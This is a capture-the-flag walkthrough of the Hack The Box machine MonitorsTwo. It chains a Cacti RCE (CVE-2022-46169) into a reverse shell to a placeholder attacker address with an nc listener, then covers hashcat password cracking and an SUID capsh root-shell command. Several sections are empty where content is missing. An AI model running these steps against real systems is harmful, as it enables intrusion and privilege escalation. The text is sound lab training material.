MonitorsTwo is an Easy-difficulty Linux machine on Hack The Box that offers a comprehensive exploration of various vulnerabilities and misconfigurations. It starts off with a web application that is vulnerable to an unauthenticated remote code execution through a malicious X-Forwarded-For header with cacti v1.2.22 (CVE-2022-46169). This shell provides access to a Docker container which has a misconfigured /sbin/capsh binary with the SUID Byte as well as MySQL credentials that are used to dump & user hashes for SSH access to the host machine. On this host, an outdated version of docker allows a lower privileged user leverage the root access of a container to copy a SUID binary leading to privilege escalation on the host (CVE-2021-41091).
Enumeration

nmap -sCV -p- monitorstwo.htb -oA m2cv-scan
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Login to Cacti
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The -sCV is a tag in nmap that is shorthand for ‘-sC -sV’. -sC uses a default set of scripts utilizing the Nmap Scripting Engine (NSE) gathering additional information about services, potential vulnerabilities, and misconfigurations, -sV is a version/service detector that attempts to identify services running on open ports, and -p- scans all 65,535 ports.
Web Exploitation – CVE-2022-46169 (Cacti RCE)


Catching a Reverse Shell

python3 exploit.py --url http://monitorstwo.htb --rhost YOUR_IP --lport YOUR_PORT
sudo nc -lvnp YOUR_PORT

Once executed, this gives a reverse shell as www-data inside a Docker container. The name of this machine is alphanumeric which leads me to believe it is a docker container.

Docker Container Enumeration




Cracking the MySQL Hash
This gets cracked instantly through one of my favorite websites, hashes.com

What if the hash is not found on this website?
Identifying the Hash Type


hashcat -m 3200 marcus.hash /usr/share/wordlists/rockyou.txt
- -m 3200 sets the hash mode, unique to different types of hashes.
- marcus.hash is a file that contains only the hash
- /usr/share/wordlists/rockyou.txt is the path to my list of passwords.

SSH Access & Host Escalation


/sbin/capsh
with the SUID bit set. Then, I leveraged it to spawn a root shell:capsh --gid=0 --uid=0 --


Conclusion
MonitorsTwo is a fantastic practice machine that simulates a real-world attack chain—from unauthenticated web RCE to Docker escape and host root access. Key takeaways include:
-
Exploiting CVE-2022-46169 via custom headers
-
Using Docker misconfigurations to pivot
-
Cracking MySQL hashes for lateral movement
-
Escalating privileges via CVE-2021-41091